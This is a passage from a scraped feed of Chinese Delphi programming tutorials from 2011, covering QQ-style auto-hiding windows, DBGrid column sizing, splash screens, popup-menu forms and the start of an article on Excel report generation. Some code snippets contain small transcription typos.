　 Size:=Mem.Size-14;//跳过14字节的BMP文件由文件头
　 Mem.Position:=14;
　 try
　　 Mem1.SetSize(Size);
　　 Mem.Read(Mem1.Memory^,Size);//BMP到Mem1
　　 Mem1.Seek(0,soFromBeginning);
　　 Mem1.Read(BmtMapHandle2,sizeof(TBitmapInfoHeader));//BMP文件的信息头
　　 Mem2.SetSize(Size-40);//跳过40字节的BMP文件信息头
　　 FillChar(Mem2.Memory^,Size-40,$0);//Mem2填充0 ，使掩码效果为白色
　　 Mem2.Position:=0;
　　 BmtMapHandle2.biHeight:=IconHand.idEntries.bHeight *2;//有两幅图
　　 BmtMapHandle2.biSizeImage:=Mem2.Size*2;
　　 Mem1.Seek(0,soFromBeginning);
　　 Mem1.Write(BmtMapHandle2,sizeof(TBitmapInfoHeader));
　　 Mem1.Position:=0;
　　 Mem.Size:=0;
　　 //MS.SetSize(0);
　　 Mem.Write(IconHand,sizeof(tagIconDir){22});//写ICO文件头
　　 Mem.Write(Mem1.Memory^,Mem1.Size);//写BMP片
　　 Mem.Write(Mem2.Memory^,Mem2.Size);//写掩码
　　 Result:=True;
　　 finally
　　 FreeAndNil(Mem1);
　　 FreeAndNil(Mem2);
　 end;
end;
结束语
目前Delphi支持的图片格式比较多，例如我们可以给程序加上uses jpeg 语句就可以支持Jpeg格式的图像，当然如你给Delphi安装了支持其他图像格式的控件，使用本程序照样可以转换，得到的ICO文件可以供VB、Delphi等调用。程序的调试环境为Delphi7+WinxpSp2。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi下QQ窗体自动隐藏探索 </title>
<link>http://www.youjoys.cn/knowledge/20110728/357.html </link>
<description>腾讯QQ是当前流行的网络聊天工具之一，由于它在应用设计上有很多独特之处，所以也吸引了很多程序员对之进行研究和模仿。在这里，我将利用Delphi对QQ的窗体自动 </description>
<text>
	副标题#e# cobi

	腾讯QQ是当前流行的网络聊天工具之一，由于它在应用设计上有很多独特之处，所以也吸引了很多程序员对之进行研究和模仿。在这里，我将利用Delphi对QQ的窗体自动隐藏效果提出自己的实现方法。

	一、问题的提出

	熟悉QQ使用的朋友都知道，当QQ窗体区域超出屏幕四边时，窗体就会自动&amp;ldquo;消失&amp;rdquo;，只留下窗体一边的小部分显露在桌面上。当用鼠标移动到显露部分之上，窗体就会在隐藏位置重新完整显示；但当鼠标离开窗体区域后，窗体便会重新进入隐藏状态。

	对隐藏的全过程进行分析，可以得出两点推测：第一，窗体隐藏的处理是与窗体移动过程有关；第二，窗体隐藏的触发条件。

	对第一点推测，可以通过对窗体移动时产生的Windows消息进行拦截处理加以实现。对第二点推测，如何去表示&amp;ldquo;窗体区域已经超出屏幕可视范围&amp;rdquo;这一条件为实现的关键。

	二、基本的分析

	让我们先留意一下Windows环境下窗体移动的过程与效果。当使用鼠标移动窗体的时候，窗体本身并没有立刻随鼠标的移动而发生位置的改变；相反，鼠标正在拖动的是一个大小与窗体一致的透明区域（确切的说一个虚线边框的矩形），如图一所示。当鼠标释放矩形后，窗体本身才会在矩形最后停留的地方出现，从而完成整个移动的过程，如图二所示。（注意：在Windows 2000及XP环境下，如果在显示属性中选中&amp;ldquo;拖动时显示窗体内容&amp;rdquo;的显示效果选项，则上述过程无法观察。）

	&amp;nbsp;

	图一 窗体移动过程　注意鼠标拖动的是一个矩形

	&amp;nbsp;

	图二 窗体移动过程 拖动结束　窗体出现在矩形最后停留位置

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	对QQ窗体，其移动过程与上述无异，但却有一处不同。当我们把矩形移动到屏幕四边且已有部分超出时，矩形就会自动地停留在超出位置上并完整显示。此时不论我们怎样试图把矩形再向超出方向上移动，矩形也只保持在该位置，如图三所示。当释放鼠标之后，窗体的隐藏效果也就出现了，如图四所示。

	&amp;nbsp;

	图三 QQ 窗体移动过程　矩形保持位置而不向超出方向移动

	&amp;nbsp;

	图四 QQ 窗体移动过程 窗体在矩形保持位置处实现隐藏

	从上述过程可以推断，触发隐藏条件后，即使仍处于移动过程但矩形本身却已经被锁定，因此对窗体位置的判断是发生在移动过程中，也就是说我们要拦截处理的Windows消息是WM_MOVING。其次，在移动过程中首先发生位置变化的是矩形而不是窗体本身，因此实现隐藏的关键是对矩形参数的判断与设置。

	我们可以先留意一下WM_MOVING消息的语法结构：

	WM_MOVING
	WPARAM wParam
	LPARAM lParam， 

	其中，WPARAM不被使用，而LPARAM则是一个指针，所指向的是一个RECT结构。RECT结构中包含了Left、Top、Right、Bottom四个参数，分别用于描述矩形的左上角与右下角，&amp;ldquo;该RECT记录了窗体相对于屏幕的当前位置；当要改变拖动矩形的位置时，程序本身必须改变RECT结构中各成员变量的相关值&amp;rdquo;。由此可知，我们要处理的矩形其实已经在WM_MOVING消息中被提到，我们要处理的也就是LPARAM所指向的RECT结构的有关参数。

	接下来我们要设置一个由隐藏条件激活的计时器，目的是监控鼠标相对窗体的位置。因为窗体隐藏后的隐现是靠鼠标激活的，所以若检测到鼠标位于窗体之上，则说明窗体在显示状态；反之，窗体在隐藏状态。我们只需在相关的判断下加入对窗体Top和Left属性的赋值即可实现隐现效果。

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	至此，有关自动隐藏效果的实现分析就基本完成了。不过还要注意一点，因为我们是在WM_MOVING消息的拦截处理中判断隐藏条件，而通过计时器的OnTimer事件处理隐现效果。在此隐藏条件是否满足在两个过程中的传递将成为关键。同时我们要知道的不仅是隐藏条件是否满足，还必须知道窗体是在屏幕的那一边上发生隐藏。为此，我们需要定义一个集合去描述窗体隐藏的位置，例如：

	type
	　 HidePosKind = (hpTop,hpLeft,hpBottom,hpRight);
	type
	　 THidePos = set of HidePosKind; 

	不过，类似的集合在Delphi本身就已经存在，譬如TAnchors集合。TAnchors集合原来是用于指明一个控件如何锚定于其父类控件的位置，我们在这里则借用来描述窗体对屏幕的隐藏位置。

	在TAnchors集合中也包含了四个值，其定义如下：

	type TAnchorKind = (akTop, akLeft, akRight, akBottom);
	type TAnchors = set of TAnchorKind; 

	在代码的实现中，我们将定义一个TAnchors类型的全局变量FAnchors去描述窗体隐藏的位置。

	三、初步的实现

	首先我们定义一个过程对WM_MOVING消息进行拦截处理，代码如下：

	..
	private
	　 FAnchors: TAnchors;
	procedure WMMOVING(var Msg: TMessage); message WM_MOVING;
	　 ..
	　 uses Math,type;
	procedure TForm1.WMMOVING(var Msg: TMessage);
	begin
	　 inherited;
	　 with PRect(Msg.LParam)^ do
	　 begin
	　　 Left := Min(Max(0, Left), Screen.Width - Width);
	　　 Top := Min(Max(0, Top), Screen.Height - Height);
	　　 Right := Min(Max(Width, Right), Screen.Width);
	　　 Bottom := Min(Max(Height, Bottom), Screen.Height);
	　　 FAnchors := [];
	　　 if Left = 0 then Include(FAnchors, akLeft);
	　　 if Right = Screen.Width then
	　　　 Include(FAnchors, akRight);
	　　 if Top = 0 then Include(FAnchors, akTop);
	　　 if Bottom = Screen.Height then
	　　　 Include(FAnchors, akBottom);
	　　　 Timer1.Enabled := FAnchors &amp;lt;&amp;gt; [];
	　　 end;
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	在该过程中，我们通过对矩形参数Left、Top、Right、Bottom的判断确定窗体所处位置是否符合隐藏条件，判断结果存放在全局变量Fanchors之中。当触发隐藏时，在Fanchors中将至少有一个值而不多于两个值。（为什么呢？）

	判断条件的设置似乎和我们一般的理解有点不同。以Left参数的判断为例，在判断了Max(0, Left)之后还为什么一定要与Screen.Width-Width 的值再作比较呢？这其实是为了对一些较为极端的情况（例如窗体的宽度大于屏幕宽度）所作的伪处理，大家如果有兴趣的可自己试验一下这些极端的效果。当然，如果我们的窗体限制了宽、高的最大值，那么判断也就可以简化为我们最初的理解。

	最后需要注意的是，代码中出现的Left、Top、Right、Bottom都是RECT的参数，而Width和Height才是窗体Form1的属性。

	接下来我们要处理TTimer的OnTimer事件了。在WMMOVING过程中，当Fanchors不为空时，TTimer启动；反之，TTimer关闭。OnTimer事件的代码如下：

	procedure TForm1.Timer1Timer(Sender: TObject);
	　 const
	　　 cOffset = 2;
	　 begin
	　　 if WindowFromPoint(Mouse.CursorPos) = Handle then
	　　 begin
	　　　 if akLeft in FAnchors then Left := 0;
	　　　 if akTop in FAnchors then Top := 0;
	　　　 if akRight in FAnchors then
	　　　　 Left := Screen.Width - Width;
	　　　 if akBottom in FAnchors then
	　　　　 Top := Screen.Height - Height;
	　　　 end else
	　　　 begin
	　　　　 if akLeft in FAnchors then Left := -Width + cOffset;
	　　　　 if akTop in FAnchors then Top := -Height + cOffset;
	　　　　 if akRight in FAnchors then
	　　　　　 Left := Screen.Width - cOffset;
	　　　　 if akBottom in FAnchors then
	　　　　　 Top := Screen.Height - cOffset;
	　　 end;
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	在这里，我们首先定义一个常量cOffset去表示窗体隐藏后显露部分的大小。然后我们利用WindowFromPoint这个Windows API函数检测鼠标是否位于窗体之上。接下来的判断就是处理在显示和隐藏状态下窗体Left 和Top 属性值的设置。注意，针对Fanchors中存在不同值的情况，窗体Left和Top的设置是各不相同的，但是这些设置只有顺序上的差异而并没有优先级别的差异。（为什么要提到这一点呢？）

	最后需要注意的是：在本事件中Top、Left、Width和Height都是窗体Form1的属性值。

	好了，有关窗体隐藏的核心代码已经介绍完毕了，不过要达到预期效果，窗体Form1在创建时还必须做一些准备工作，代码如下：

	procedure TForm1.FormCreate(Sender: TObject);
	begin
	　 Timer1.Enabled := False;
	　 Timer1.Interval := 200;
	　 FormStyle := fsStayOnTop;
	end;

	这里的代码相对简单，不过值得指出的是对Form1的FormStyle 属性的设置。FormStyle 为fsStayOnTop时可保证Form1始终位于最前显示。从效果角度看，当系统工具栏为&amp;ldquo;总在最前显示&amp;rdquo;时是最为明显的，因为若窗体移动到系统工具栏上时也不会被其所遮盖。

	四、进一步完善

	上面的代码已经基本实现了窗体的自动隐藏效果，但是我在介绍代码的时候有两个问题是被提出但没有被解答的。

	首先是为什么触发隐藏时Fanchors中将至少有一个值而不多于两个值呢？注意代码中对Fanchors的赋值是通过四个判断进行的， 那么如果触发隐藏的话，Fanchors中将毫无疑问会有一个值存在，但这种情况是针对隐藏发生在屏幕的四边而言。当窗体被推入到屏幕的四角时，那么Fanchors中便将会有两个值存在。那此时窗体会隐藏到什么地方呢？

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	实际的效果告诉我们，窗体会被隐藏到屏幕的四角上。此时若我们试图让窗体重新显示，你便会发现窗体在不断的闪烁。为什么呢？这就是第二个问题提出的原因了。因为对窗体显示或隐藏的处理是根据Fanchors中的值作出的。当Fanchors中有两个值的时候，就将会引发对窗体属性的两次设置。而因为设置语句只有顺序差异而没有优先级差异，那么OnTimer事件中每次都会对窗体进行两次的属性值设置，从而导致我们看到闪烁的显示效果。

	怎么去解决这个问题呢？我们再观察一下QQ的处理。在2003 II版的QQ里面，窗体的隐藏效果作了一定的调整：当窗体在屏幕左右两边隐藏时，它会自动充满屏幕的左右两边且高度不可改变；当窗体脱离屏幕两边的隐藏区域后，窗体的大小会恢复为隐藏前的大小，如图五所示。（注意：窗体并非是完全充满屏幕的两边。QQ在处理这个效果时可能只注意了系统工具栏总在最前显示且位于屏幕下方的情况，所以其充满的区域也只是屏幕顶端到系统工具栏上方的一段空间，如图六所示。）这样的处理可以令窗体即使被推入到屏幕四角，也可以保证只会对其中的一个隐藏方向进行处理，从而避免了前面出现的闪烁现象。

	&amp;nbsp;

	图五 Q Q 窗体自动充满屏幕两边

	&amp;nbsp;

	图六 Q Q 窗体自动充满屏幕两边的漏洞

	结合前面的分析，要实现如上的效果还是从拦截WM_MOVING消息入手。重写后的WMMOVING过程如下：

	procedure TForm1.WMMOVING(var Msg: TMessage);
	begin
	　 inherited;
	　 with PRect(Msg.LParam)^ do
	begin
	　 if (akLeft in FAnchors) or (akRight in FAnchors) then
	　 begin
	　　 if (Left &amp;gt; 0) and (Right &amp;lt; Screen.Width) then
	　　 begin
	　　　 if rec_Position then
	　　　 begin
	　　　　 Bottom := top + Lst_Height;
	　　　　 Right := Left + Lst_Width;
	　　　　 Height := Lst_Height;
	　　　　 Width := Lst_Width;
	　　　 end;
	　　　 end else
	　　　 begin
	　　　　 SetBarHeight;
	　　　　 Top := Cur_Top;
	　　　　 Bottom := Cur_Bottom;
	　　　　 exit;
	　　　 end;
	　　 end;
	　　 Left := Min(Max(0, Left), Screen.Width - Width);
	　　 ..
	　　 if not Rec_Position then
	　　 begin
	　　　 Lst_Height := form1.Height;
	　　　 Lst_Width := form1.width;
	　　 end;
	　　 FAnchors := [];
	　　 ..
	　　 if (akLeft in FAnchors) or (akRight in FAnchors) then
	　　 begin
	　　　 Rec_Position := True;
	　　　 SetBarHeight;
	　　　 Top := Cur_Top;
	　　　 Bottom := Cur_Bottom;
	　　 end else
	　　　 Rec_Position := False;
	　　　 Timer1.Enabled := FAnchors &amp;lt;&amp;gt; [];
	　　 end;
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	在新的代码中，我们首先使用了三个新定义的全局变量，分别是：

	Lst_Height : Integer; //记录窗体隐藏前的高度
	Lst_Width : Integer; //记录窗体隐藏前的宽度
	Rec_Position : Boolean; //是否启动窗体宽高记录标志

	然后加入了三个判断代码块。

	在第一个判断中首先判定窗体在移动前是否位于屏幕左右两边的隐藏区域。若为真，则判断窗体是否从隐藏区域向屏幕中央移动（注意，存在此判断的原因是因为我们还可能将窗体往屏幕两边推动）。若再为真，则恢复窗体隐藏前的大小；反之，强制设置矩形的Top和Bottom值并退出消息的处理。

	第二个判断在于记录窗体的宽高值。Rec_Position 是记录窗体宽高的标志，它的值在第三个判断中进行设置。若窗体在移动前位于屏幕两边的隐藏区域，则Rec_Position为True，此时窗体的高度已经固定，记录已经无意义。所以只在Rec_Position为False时才需要记录窗体的宽高。

	第三个判断位于Fanchors值设置之后。它根据窗体的位置对矩形的显示效果进行判断处理。判断也是基于窗体是否位于屏幕两边进行，为True则设置矩形的高度并设置Rec_Position的值为True。

	在第三个判断中使用了一个新定义的过程SetBarHeight，其代码如下：

	procedure TForm1.SetBarHeight;
	var
	　 AppBarData : TAPPBARDATA;
	begin
	　 AppBarData.cbSize := SIZEOF(AppBarData);
	　 If SHAppBarMessage(ABM_GETSTATE,AppBarData) AND ABS_AUTOHIDE) &amp;lt;&amp;gt; 0 then
	　 begin
	　　 Cur_Top := 1;
	　　 Cur_Bottom := Screen.Height - 1;
	　 end else
	　 begin
	　　 SHAppBarMessage(ABM_GETTASKBARPOS,AppBarData);
	　　 case AppBarData.uEdge of
	　　　 ABE_TOP : begin
	　　　 Cur_Top := AppBarData.rc.Bottom + 1;
	　　　 Cur_Bottom := Screen.Height - 1;
	　　 end;
	　　 ABE_LEFT : begin
	　　 Cur_Top := 1;
	　　 Cur_Bottom := Screen.Height - 1;
	　 end;
	　 ABE_RIGHT : begin
	　 Cur_Top := 1;
	　 Cur_Bottom := Screen.Height - 1;
	end;
	ABE_BOTTOM : begin
	Cur_Top := 1;
	Cur_Bottom:=Screen.Height -
	(AppBarData.rc.Bottom - AppBarData.
	rc.Top) - 1;
	end;
	end;
	end;
	end;

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	SetBarHeight用于计算矩形高度，计算后的结果通过Cur_Top和Cur_Bottom两个全局变量传递给矩形的Top和Bottom参数。

	在该过程中使用了一个Windows API 函数SHAppBarMessage。SHAppBarMessage 的作用是向系统传递系统工具栏消息，其函数原型为：

	WINSHELLAPI UINT APIENTRY SHAppBarMessage(DWORD dwMessage,PAPPBARDATA pData); 

	其中dwMessage 是发送给系统的工具栏消息； pData是指向PAPPBARDATA结构的指针，PAPPBARDATA结构返回的内容依据发出的消息而定。

	在过程中，我们首先传递ABM_GETSTATE参数去获取系统工具栏的状态是自动隐藏还是总在最前显示。

	然后我们再利用ABM_GETTASKBARPOS参数去获取系统工具栏的位置，此时AppBarData的返回值中将会是系统工具栏的位置ABE_TOP 、ABE_LEFT、ABE_RIGHT、ABE_BOTTOM四者之一。最后我们利用系统工具栏自身的拖动矩形参数计算出工具栏的高度。

	使用了SetBarHeight令窗体在屏幕两边随系统工具栏的位置和高度的改动而发生相应的变化。当然，你也可以直接给Cur_Top和Cur_Bottom这两个变量设置固定值以实现QQ效果。在测试中，Cur_Top可以是1，而Cur_Bottom 则是Screen.Width-30（Windows系统工

	具栏的高度在默认情况下是30，这是不随分辨率改变的）。

	由于要使窗体在屏幕两边的高度与位置可以随系统工具栏的位置和高度的改动而发生相应的变化，因此OnTimer事件中的处理也要相应的改动，主要是显示窗体的时候要注意对窗体Top和Height属性的设置必须跟随与系统工具栏的位置和高度相协调，代码如下：

	..
	if akLeft in FAnchors then
	begin
	　 Left := -Width + cOffset;
	　 SetBarHeight;
	　 Top := Cur_Top;
	　 Height := Cur_Bottom;
	end;
	if akRight in FAnchors then
	begin
	　 Left := Screen.Width - cOffset;
	　 SetBarHeight;
	　 Top := Cur_Top;
	　 Height := Cur_Bottom;
	end;
	..

	&amp;nbsp;

	&amp;nbsp;

	#p#副标题#e# cobi

	&amp;nbsp;

	最后，为了保证窗体在屏幕两边隐藏后高度保持不变，我们再添加一个WMSizing过程对WM_Sizing消息进行拦截处理。WMSizing过程的代码如下：

	procedure TForm1.WMSizing(var Msg: TMessage);
	begin
	　 inherited;
	　 if (akRight in FAnchors) then
	　 begin
	　　 with PRect(Msg.LParam)^ do
	　　 begin
	　　　 Left := Screen.Width - Width;
	　　　 Top := Cur_Top;
	　　　 Right := Screen.Width;
	　　　 Bottom := Cur_Bottom
	　　 end;
	　 end else if (akLeft in FAnchors) then
	　 begin
	　　 with PRect(Msg.LParam)^ do
	　　 begin
	　　　 Left := 0;
	　　　 Top := Cur_Top;
	　　　 Right := Width;
	　　　 Bottom := Cur_Bottom;
	　　 end;
	　 end;
	end;

	WM_Sizing消息的语法结构与WM_MOVING消息相似，也包含了一个对矩形的指针。通过该指针我们可以对矩形的Top、Left、Right和Bottom参数进行设置，从而保证矩形高度不受用户操作影响。

	至此，一个窗体自动隐藏的程序就基本完成了，其实际效果已经和QQ相当接近了。运行效果如图七至图十所示。当然，从实际运行效果看还存在着一些小瑕疵，并且代码中并没有对窗体在隐藏后的宽度设置上进行处理，或者读者可以考虑继续进行完善此程序。

	&amp;nbsp;

	图七 窗体向屏幕右方移动

	&amp;nbsp;

	图八 窗体充满屏幕右方

	&amp;nbsp;

	图九 窗体位置随工具栏位置变化

	&amp;nbsp;

	图十 窗体离开屏幕右方恢复隐藏前大小

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,窗体,自动,隐藏,探索,副标题,#e#,cob </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi实现DBGrid列宽度自动调整 </title>
<link>http://www.youjoys.cn/knowledge/20110728/361.html </link>
<description>大多数程序设计的爱好者选择并使用Delphi来编写软件，都是被其中丰富而功能强大的VCL控件所吸引。Delphi自带的数据感知(Data-Aware)控件，更是成为开发MIS软件 </description>
<text>
	天极 小刀轻舞

	大多数程序设计的爱好者选择并使用Delphi来编写软件，都是被其中丰富而功能强大的VCL控件所吸引。Delphi自带的数据感知(Data-Aware)控件，更是成为开发MIS软件的程序员之首选。在那么多数据感知控件中，TDBGrid由于其使用方便、显示信息量大成为最引人注目的一员，大量的国内外软件中都出现了它的身影。或许是由于使用的人多了，对于它的期望也会更高，永远追求无限趋向于完美境界的程序员不会放过每一个能够改良TDBGrid的机会。

	经常使用TDBGrid的用户都知道，它没有提供这样的一种选择，使得我们能够让它的每一列与所要显示的数据的宽度相匹配。使得用户需要在程序运行时，手工对每一列进行调整，在下次运行这个程序时又得再做一遍同样的工作（图1）。

	&amp;nbsp;

	在进行修改后，我们可以得到一个更加智能化的TDBGrid，如果TDBGrid中所有列的宽度加起来大于它本身的宽度，那么智能化的TDBGrid将会在它所含的最后一列的右边留出空白（见图2）；反之如果TDBGrid中所有列的宽度加起来小于它本身的宽度，则会在它的下部显示一个水平滚动条，用户就可以左右拖动该滚动条，显示更多想要的内容。

	&amp;nbsp;

	解决方案：

	在本文中我将提供一个简便的过程（Procedure)来解决上面的问题，它能够在程序运行时自动固定TDBGrid中所显示列的宽度。

	首先，在TForm的OnCreate事件中添加下面的代码：

	Procedure TForm1.FormCreate(Sender: TObject);
	　 begin
	　 //在Tag属性中设置需要自动调整的列的最小宽度（固定值）
	　 //这里将列宽值设为40px
	　 Table1.FieldByName(&amp;#39;FirstName&amp;#39;).Tag := 40;
	　 //这里设置一个变化的值
	　 //该值是做过运算的列标题的宽度值
	　 Table1.FieldByName(&amp;#39;LastName&amp;#39;).Tag := 4 + Canvas.TextWidth( Table1.FieldByName(&amp;#39;LastName&amp;#39;).DisplayName);
	end;

	其次，最关键的一个过程（Procedure)，就是用它来控制列的宽度：

	Procedure FixDBGridColumnsWidth(const DBGrid: TDBGrid);
	var
	　 i : integer;
	　 TotWidth : integer;//定义整个宽度
	　 VarWidth : integer;//定义变化的宽度
	　 ResizableColumnCount : integer;//定义变化宽度列的总数
	　 AColumn : TColumn;
	begin
	　 //在重新调整前所有列的宽度
	　 TotWidth := 0;
	　 VarWidth := 0;
	　 //有多少列需要自动调整
	　 ResizableColumnCount := 0;
	　 for i := 0 to -1 + DBGrid.Columns.Count do
	　 begin
	　　 TotWidth := TotWidth + DBGrid.Columns[i].Width;
	　　 if DBGrid.Columns[i].Field.Tag &amp;lt;&amp;gt; 0 then
	　　　 Inc(ResizableColumnCount);
	　 end;
	　 //为每个列分隔线增加1PX
	　 if dgColLines in DBGrid.Options then
	　　 TotWidth := TotWidth + DBGrid.Columns.Count;
	　 if dgIndicator in DBGrid.Options then
	　　 TotWidth := TotWidth + IndicatorWidth;
	　 VarWidth := DBGrid.ClientWidth - TotWidth;
	　 //平均分配变化宽度的值
	　 //给所有需要自动调整的列
	　 if ResizableColumnCount &amp;gt; 0 then
	　　 VarWidth := varWidth div ResizableColumnCount;
	　 for i := 0 to -1 + DBGrid.Columns.Count do
	　 begin
	　　 AColumn := DBGrid.Columns[i];
	　　 if AColumn.Field.Tag &amp;lt;&amp;gt; 0 then
	　　 begin
	　　　 AColumn.Width := AColumn.Width + VarWidth;
	　　　 if AColumn.Width &amp;lt; AColumn.Field.Tag then
	　　　　 AColumn.Width := AColumn.Field.Tag;
	　　 end;
	　 end;
	end; 

	最后，应用这一个函数:

	Procedure TForm1.FormResize(Sender: TObject);
	begin
	　 FixDBGridColumnsWidth(DBGrid1);
	end;

	上面一个简单的函数解决了经常会碰到的关于数据列的问题，遇到问题时多多开动脑筋，而不要一味的去找第三方控件，这样长期坚持下去就会真正提高自己的水平，才会从一名程序泥水匠变成真正的软件设计师。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,实现,DBGrid,宽度,自动,调整,天极,小 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi实现快闪窗体信息提示 </title>
<link>http://www.youjoys.cn/knowledge/20110728/362.html </link>
<description>大家都用过PhotoShop或Adobe Reader，它们启动的时候先显示的窗体就称做快闪窗体。虽然Word等软件也有快闪窗体，但是只要你稍微注意一下就会发现前者有动态信息 </description>
<text>
	电脑报 小霖

	大家都用过PhotoShop或Adobe Reader，它们启动的时候先显示的窗体就称做快闪窗体。虽然Word等软件也有快闪窗体，但是只要你稍微注意一下就会发现前者有动态信息提示，后者没有。PhotoShop或Adobe Reader启动时会在快闪窗体上不断变换显示信息提示，如&amp;ldquo;正在加载字体&amp;rdquo;、&amp;ldquo;正在加载画笔&amp;rdquo;、&amp;ldquo;正在初始化&amp;rdquo;、&amp;ldquo;正在对字体进行排序&amp;rdquo;&amp;hellip;&amp;hellip;，很多书上讲了如何制作快闪窗体，但是没有讲如何实现在快闪窗体上增加信息提示，那么如何制作呢？方法如下：

	1.在你的程序中建立一个新窗体，将窗体的Name属性设置为frm_Splash，BorderStyle属性设置为bsNone，BorderIcons属性设置为［］，这样快闪窗体显示时便没有标题栏和边界。

	2.在frm_Splash上，添加一个Image控件，设置它的Align属性为alClient，指定Picture属性，载入一幅图像。

	3.可以根据需要在窗体上添加别的说明信息，如：设计人、开发商等。用Label控件，一定要把Transparent属性设置为True，这样才是透明的，否则影响背景显示。

	4.同样用Label控件，把Name属性设置为lbl_Text，同样也把Transparent属性设置为True，道理一样。

	在Project1.dpr中添加如下代码：

	begin
	　 Application.Initialize;
	　 frm_Splash:=Tfrm_Splash.Create(Application); //创建快闪窗体
	　 frm_Splash.Show; //显示快闪窗体
	　 frm_Splash.Update; //强制更新快闪窗体
	　 Application.CreateForm(TfrmMain, frmMain);
	　 frm_Splash.lbl_Text.Caption:=&amp;#39;创建主窗体&amp;#39;; //快闪窗体提示信息
	　 frm_Splash.Update; //强制更新快闪窗体
	　 &amp;hellip;&amp;hellip;
	　 Application.CreateForm(Tfrm_MemberInfo, frm_MemberInfo);
	　 frm_Splash.lbl_Text.Caption:=&amp;#39;加载会员信息窗体&amp;#39;; //快闪窗体提示信息
	　 frm_Splash.Update; //强制更新快闪窗体
	　 Application.CreateForm(Tfrm_MemberTimeOut, frm_MemberTimeOut);
	　 frm_Splash.lbl_Text.Caption:=加载过期会员窗体&amp;#39;; //快闪窗体提示信息
	　 frm_Splash.Update; //强制更新快闪窗体
	　 frm_Splash.Hide; //隐藏快闪窗体
	　 frm_Splash.Free; //释放快闪窗体所占资源
	　 Application.Run;
	end.

	运行效果如下图所示。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,实现,快闪,窗体,信息,提示,电脑报,小霖,大 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi设计PhotoShop型弹出菜单 </title>
<link>http://www.youjoys.cn/knowledge/20110728/363.html </link>
<description>大家都知道，使用Delphi的TPopupMenu构件可以制作弹出式菜单。但是我们如何才能制作出类似Photoshop中各种样式的弹出式菜单呢？（比如，Photoshop的笔刷形状选 </description>
<text>
	电脑报 二羊照开

	大家都知道，使用Delphi的TPopupMenu构件可以制作弹出式菜单。但是我们如何才能制作出类似Photoshop中各种样式的弹出式菜单呢？（比如，Photoshop的笔刷形状选择菜单，见图）

	&amp;nbsp;

	制作方法如下：

	1.打开Delphi， 在Form1中放置一个TButton构件。

	2.新建一个窗体，使用默认名字Form2。

	3.将Form2的BorderStyle属性设置为bsNone，这样将会去掉窗体的标题栏和边框。

	4.在Form2中加入TPanel构件Panel1，将Panel1的BevelInner和BevelOuter属性设置为bvRaised，将Align属性设置为alClient。用Panel1的边框来作为菜单窗体的边框。

	5.在Unit1的Implementation部分的uses中加入Unit2。

	6.双击Form 1中的按钮构件Button1，添加如下代码：

	procedure TForm1.Button1ClickSender TObject　
	var
	　 ShowingPoint TPoint
	begin
	　 GetCursorPosShowingPoint　 // 得到光标的当前坐标
	　 Form2.Left = ShowingPoint.X // 让Form2在当前光标处显示
	　 Form2.Top = ShowingPoint.Y
	　 Form2.Show
	end

	7.在Form2的OnDeactivate事件下添加如下代码：

	procedure TForm2.FormDeactivateSender TObject　
	begin
	　 Close // 当窗体失去焦点后，关闭自己。
	end

	8.按F9键运行程序，双击Button1后，Form2就会像弹出菜单一样显示出来，单击Form1的任意处，Form2将会自动关闭。接下来朋友们就可以在Form2上任意设计自己的弹出菜单了。

	以上程序在Windows 2000 + Delphi 5中测试通过。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,设计,PhotoShop,弹出,菜单,电脑报, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi控制Excel生成报表 </title>
<link>http://www.youjoys.cn/knowledge/20110728/364.html </link>
<description>摘 要：Excel是当前最流行的数据报表制作工具。本文介绍如何使用Delphi来控制Excel完成数据库与报表之间的数据交换，讨论了报表制作工程中的一些细节性问题。 1 </description>
<text>副标题#e#  赵中凯 梅国建
				
		
		摘 要：Excel是当前最流行的数据报表制作工具。本文介绍如何使用Delphi来控制Excel完成数据库与报表之间的数据交换，讨论了报表制作工程中的一些细节性问题。
1 引言
数据报表作为企事业单位上报和下达的重要信息载体，随着信息化建设的不断推进，在实际的工作中得到了前所未有的应用。因此，数据报表已经成为管理信息系统中重要的一项功能，并且，由于数据的多样性和统计信息的增加，数据报表的系统实现变得越来越复杂。
Delphi是一个高效的可视化数据库管理信息系统开发工具，.但是Delphi开发环境中提供的报表控件在制作复杂报表时显得不够理想，不管是以前版本提供的Quick Report控件组，还是Delphi 7提供的Rave控件组，都不能让用户对生成的报表进行改动，且程序控制很难实现。Excel作为现代办公常用的电子表格制作工具，以它的易操作性和实用性，得到了各行业办公人员的青睐。本文根据实际应用实践，介绍利用Delphi编程控制Excel生成报表的各种方法。
2 Delphi控制Excel的方法
2.1 创建Excel文件
要在Delphi中控制Excel，就必须用到OLE自动化。现在一般采用OLE2来创建OLE对象，当激活一个OLE对象时，服务器程序仅在容器程序内部激活，这就是所谓的&amp;ldquo;就地激活&amp;rdquo;（in-place activation）。
创建Excel文件时，先创建一个OLE对象，然后在对象中建立工作表worksheet，如函数createExcel所示：
